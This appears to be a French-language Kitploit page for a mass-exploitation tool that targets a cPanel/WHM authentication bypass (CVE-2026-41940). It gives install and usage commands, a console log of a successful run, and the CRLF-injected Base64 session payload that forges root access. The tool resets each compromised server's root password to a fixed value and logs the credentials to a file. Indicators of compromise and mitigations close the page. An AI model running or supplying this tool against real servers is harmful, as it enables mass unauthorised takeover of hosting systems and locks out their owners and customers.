CVE-2026-41940 — Scanner de masse et outil d'exploitation massive pour la CVE-2026-41940 sur cPanel/WHM, conçu pour la validation automatisée des cibles et une exécution multithread à haute vitesse. | Kitploit

# Clone repository
git clone https://github.com/Jenderal92/CVE-2026-41940.git
cd CVE-2026-41940

# Install dependencies
pip install -r requirements.txt

# Make executable (Linux/Mac)
chmod +x CVE-2026-41940.py

Argument	Description	Défaut	Requis
`list_file`	Fichier contenant la liste des cibles (une par ligne)	-	✅ Oui
`--threads`	Nombre de threads simultanés	15	❌ Non
`--hostname`	Remplace l'en-tête Host pour toutes les cibles	Détection automatique	❌ Non
`--timeout`	Délai d'attente de connexion en secondes	15	❌ Non

$ python2 CVE-2026-41940.py targets.txt --threads 10

 CVE-2026-41940 bypass authentication - Mass Exploit

[*] Loaded 4 targets
[*] Starting exploit with 10 threads...
[*] Timeout: 15 seconds
[*] Note: http:// will be added automatically if missing
[*] ONLY targets with confirmed password changes will be saved to res.txt
[*] Targets with license errors, connection issues, or failed password changes will be EXCLUDED

==================================================

[*] Checking target: 127.0.0.1
    Original input: 127.0.0.1
    Normalized: https://127.0.0.1:2087
    Port 2087: OPEN
    Testing connection... OK (HTTP 200)

[0] hostname = example.com
[1] minting a preauth session...
    session base = :d5nPe99Nx9HQdMu2
[2] sending the CRLF injection...
    HTTP 307, leaked token = /cpsess0488087910
[3] firing do_token_denied to propagate...
    HTTP 401, gadget fired
[4] verifying we're WHM root...
    /json-api/version -> HTTP 200  {"version":"11.118.0.13"}
[*] attempting to change the root password
    passwd -> HTTP 200
    {
      "data": {
        "app": ["system"]
      },
      "metadata": {
        "output": {
          "raw": "Password for \"root\" has been changed."
        },
        "reason": "Password changed for user \"root\".",
        "version": 1,
        "command": "passwd",
        "result": 1
      }
    }
[+] Password change confirmed (metadata.result=1)
[+] ✓ Root password successfully changed to 'Jenderal92'!

[✓] SUCCESS & SAVED: 127.0.0.1:2087
    Saved to res.txt: 127.0.0.1:2087|root|Jenderal92

==================================================
[*] Scan complete!
[*] Targets with successfully changed passwords: 1 out of 4

[+] Results saved to res.txt

Successfully exploited targets (password changed to Jenderal92):
  ✓ 127.0.0.1:2087

Envoie une requête GET avec un en-tête Authorization: Basic contenant une charge utile malveillante

La charge utile Base64 se décode en :

root:x
successful_internal_auth_with_timestamp=9999999999
user=root
tfa_verified=1
hasroot=1

Les caractères CRLF (\r\n) injectent de faux paramètres de session
Cela trompe le serveur en lui faisant croire que l'authentification a réussi
Le serveur répond avec un HTTP 307 et un en-tête Location contenant le cp_security_token

Indicateur	Description
Cookie `whostmgrsession` anormal	Schémas de cookie inhabituels sans authentification appropriée
Caractères CRLF dans les en-têtes	Détection de séquences `\r\n` dans les en-têtes HTTP
Accès à `/scripts2/listaccts`	Accès non autorisé à ce chemin
Mot de passe `Jenderal92`	Connexion réussie utilisant ce mot de passe spécifique
Fuite du jeton `cpsess`	Jeton de sécurité visible dans l'en-tête Location
Échec de connexion suivi d'un succès	POST vers `/login/?login_only=1` avec un mauvais mot de passe, puis accès privilégié

Mettez à jour WHM/cPanel vers la dernière version corrigée immédiatement
```
/usr/local/cpanel/scripts/upcp
```
Activez l'authentification à deux facteurs (2FA) pour tous les comptes, en particulier root
```
WHM → Security Center → Two-Factor Authentication
```
Restreignez l'accès à WHM avec une liste blanche d'adresses IP
```
WHM → Security Center → Host Access Control
```
Surveillez régulièrement les journaux d'accès pour détecter des schémas suspects
```
tail -f /usr/local/cpanel/logs/access_log | grep -E "(listaccts|passwd|login_only)"
```
Changez tous les mots de passe si une compromission est suspectée

Utilisez des règles de pare-feu pour restreindre l'accès au port 2087

# Allow only trusted IPs
iptables -A INPUT -p tcp --dport 2087 -s YOUR_TRUSTED_IP -j ACCEPT
iptables -A INPUT -p tcp --dport 2087 -j DROP

# Or use CSF/LFD firewall
csf -a YOUR_TRUSTED_IP

Implémentez des règles WAF pour détecter les tentatives d'injection CRLF
Audits de sécurité réguliers des installations WHM/cPanel

# targets.txt can contain various formats:
https://server1.com:2087
http://server2.com:2087
server3.com:2087
127.0.0.1:2087
10.0.0.50

# All will be normalized automatically
python2 CVE-2026-41940.py targets.txt --threads 15

# For many targets with good connectivity
python2 CVE-2026-41940.py targets.txt --threads 30 --timeout 10

# For unreliable connections
python2 CVE-2026-41940.py targets.txt --threads 5 --timeout 45

import base64

# Custom payload
payload = """root:x
successful_internal_auth_with_timestamp=9999999999
user=root
tfa_verified=1
hasroot=1"""

encoded = base64.b64encode(payload.encode())
print(encoded)

✅ Exploitation de masse	Scanne et exploite plusieurs cibles à partir d'un fichier de liste
🚀 Multithreading	Nombre de threads configurable pour un scan plus rapide (défaut : 15)
🔐 Changement automatique de mot de passe	Change le mot de passe root en `Jenderal92` lors d'un exploit réussi
🛡️ Détection intelligente de succès	Détecte automatiquement divers formats de réponse de l'API WHM
⚠️ Filtrage des erreurs de licence	Exclut les cibles avec des erreurs de licence invalide/illisible
📝 Sortie structurée	Enregistre uniquement les succès confirmés au format `domain:port
🛡️ Prise en charge SSL/TLS	Gère automatiquement les certificats auto-signés
🔄 Gestion de session	Extraction automatique de session, injection de cookies et gestion des jetons
⏱️ Contrôle du délai d'attente	Délai d'attente de connexion configurable (défaut : 15 secondes)
🔍 Vérification pré-connexion	Vérifie la disponibilité du port avant la tentative d'exploitation
📊 Progression en temps réel	Affiche la progression détaillée de chaque étape d'exploitation

CVE-2026-41940

Populaires

CVE-2026-41940 - Exploit de masse de contournement d'authentification WHM/cPanel

📋 Description

🎯 Principales fonctionnalités

📦 Prérequis

📥 Installation

🚀 Utilisation

1. Préparer le fichier de cibles

2. Exécuter l'exploit

Utilisation de base (paramètres par défaut)

Utilisation multithread

Nom d'hôte personnalisé

Délai d'attente personnalisé

📊 Arguments de la ligne de commande

📁 Format de sortie

Fichier de résultats (res.txt)

Scénarios exclus

Sortie console

🔬 Comment fonctionne l'exploit

Étape 1 : Session de pré-authentification

Étape 2 : Attaque par injection CRLF

Étape 3 : Propagation de session

Étape 4 : Vérification et changement de mot de passe

Filtrage automatique

🛡️ Détection et atténuation

Indicateurs de compromission (IOC)

Journaux à surveiller

Mesures d'atténuation

📝 Exemples d'utilisation dans différents scénarios

Scénario 1 : Test d'une cible unique

Scénario 2 : Audit de serveurs en masse

Scénario 3 : Réseau lent/longue distance

Scénario 4 : Nom d'hôte personnalisé derrière un proxy/équilibreur de charge

Scénario 5 : Cibles avec ports variés

⚙️ Dépannage

Erreur : « module 'urllib' has no attribute 'urlsplit' »

Erreur : « Connection refused - target unreachable »

Erreur : « /login didn't issue a whostmgrsession cookie »

Performances de scan lentes

Erreurs de licence dans la sortie

🔧 Configuration avancée

Modification de la charge utile personnalisée

Mot de passe personnalisé

Ajustement de la détection de succès

🤝 Contribution

Directives de développement

⭐ Historique d'étoiles

❗ FAQ

📌 Remarques importantes

⚠️ AVERTISSEMENT

Fichier de résultats (`res.txt`)